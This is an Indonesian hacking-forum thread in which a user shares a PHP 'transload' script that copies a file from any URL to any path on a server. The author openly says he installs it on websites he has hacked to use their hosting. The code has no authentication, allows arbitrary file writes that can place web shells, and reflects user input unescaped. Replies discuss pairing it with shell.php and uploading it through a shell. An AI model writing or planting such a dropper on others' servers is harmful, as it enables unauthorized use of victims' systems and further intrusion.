![]() |
|
Script PHP Upload File From URL - Printable Version +- HN-Community (https://hacker-newbie.org) +-- Forum: Miscellaneous (https://hacker-newbie.org/forum-86.html) +--- Forum: Coding/Programing (https://hacker-newbie.org/forum-19.html) +---- Forum: Web Programing (https://hacker-newbie.org/forum-38.html) +---- Thread: Script PHP Upload File From URL (/thread-16891.html) |
Script PHP Upload File From URL - CopSLacS - 04-02-2013 Permisi mastah2 semua ![]() Disini saya mau share tentang script yang berfungsi untuk upload file dari URL.Script ini udah ane coba dan work 1000% ![]() Script ane pasang di web2 yang udah ane hack,jadi ga modal apa2 ![]() Ini script nya Code: <?php
$PHP_SELF = $_SERVER['PHP_SELF'];
if ($_GET[xfer]) {
if ($_POST[from] == "") {
print "You forgot to enter a url.";
} else {
copy("$_POST[from]", "$_POST[to]");
$size = round((filesize($_POST[to])/1000000), 3);
print "transfer complete.<br>
<a><a href=\"$_POST[from]\">$_POST[from]</a><br>
<a><a href=\"$_POST[to]\">$_POST[to]</a> : $size MB";
}
} else {
print "<form action=\"$PHP_SELF?xfer=true\" method=post>
from(http://): <input name='from' value=''><br>
to(filename): <input name='to'><br>
<input type=submit value=\"transload\">";
}
?>Buat info aja,setelah masukin URL dan ngeklik transload.Maka server akan download itu file.Meskipun web nya udah di close,proses download tetap berjalan.jadi bisa ditinggal.Biasanya script ini ane buat download dari exrapidleech.info soalnya file disana cuman bertahan 5 jam doank.jadi ane transload aja di hosting orang.jadi bisa diresume kapan aja ![]() Sekian dari saya Regards, Copslacs ![]() Quote:Ga nolak kalau REP +1 RE: Script PHP Upload File From URL - dr.doom - 04-02-2013 broo cara menggunakan scriptnya gmana ni apa harus di upload dulu ke webnya ato gimana dan fungsinya ini buat apa ya kalo boeh tau kan udah ada shell.php bisa upload sembarang file thanks +1 deh buat mastah RE: Script PHP Upload File From URL - CopSLacS - 04-02-2013 (04-02-2013, 02:05 PM)dr.doom Wrote: broo cara menggunakan scriptnya gmana ni caranya gampang,tinggal save code diatas dalam format .php trus upload di hostingannya.kemudian akam muncul 2 input,yang atas untuk URL dan yang bawah untuk nama file. Fungsi ini script supaya kita bisa upload file dari URL lain.jati kita tidak perlu menghabiskan bandwith kita untuk upload file.Biasanya ane gunain untuk upload file yang sudah ane leech. Terima Kasih Regards, Copslacs
RE: Script PHP Upload File From URL - blAnk_pag3 - 04-02-2013 maksudnya mungkin memindahkahkan file yah bro, dari satu situs ke situs yang lain, hanya dengan menaruh link file yang mau di upload.. Jadi kalau mau simpan, kembali download lagi yah kayak biasa..? RE: Script PHP Upload File From URL - ENno - 04-02-2013 screen shoot coy .. biar ngerti ...
RE: Script PHP Upload File From URL - CopSLacS - 04-02-2013 (04-02-2013, 03:02 PM)blAnk_pag3 Wrote: maksudnya mungkin memindahkahkan file yah bro, dari satu situs ke situs yang lain, hanya dengan menaruh link file yang mau di upload.. Ya semacam itu,soalnya ini script gw gunain buat transfer file dari leecher.Soalnya file yang di leecher cuman bertahan sebentar doank. (04-02-2013, 03:16 PM)ENno Wrote: screen shoot coy .. Ini ane kasih screen shootnya Quote: Penjelasan from(http://): <-URL file yang mau di transload to(filename): <-Nama file yang di inginkan Regards, Copslacs
RE: Script PHP Upload File From URL - positive - 08-10-2014 bisa ngak kalo kita upload lewat shell ? . |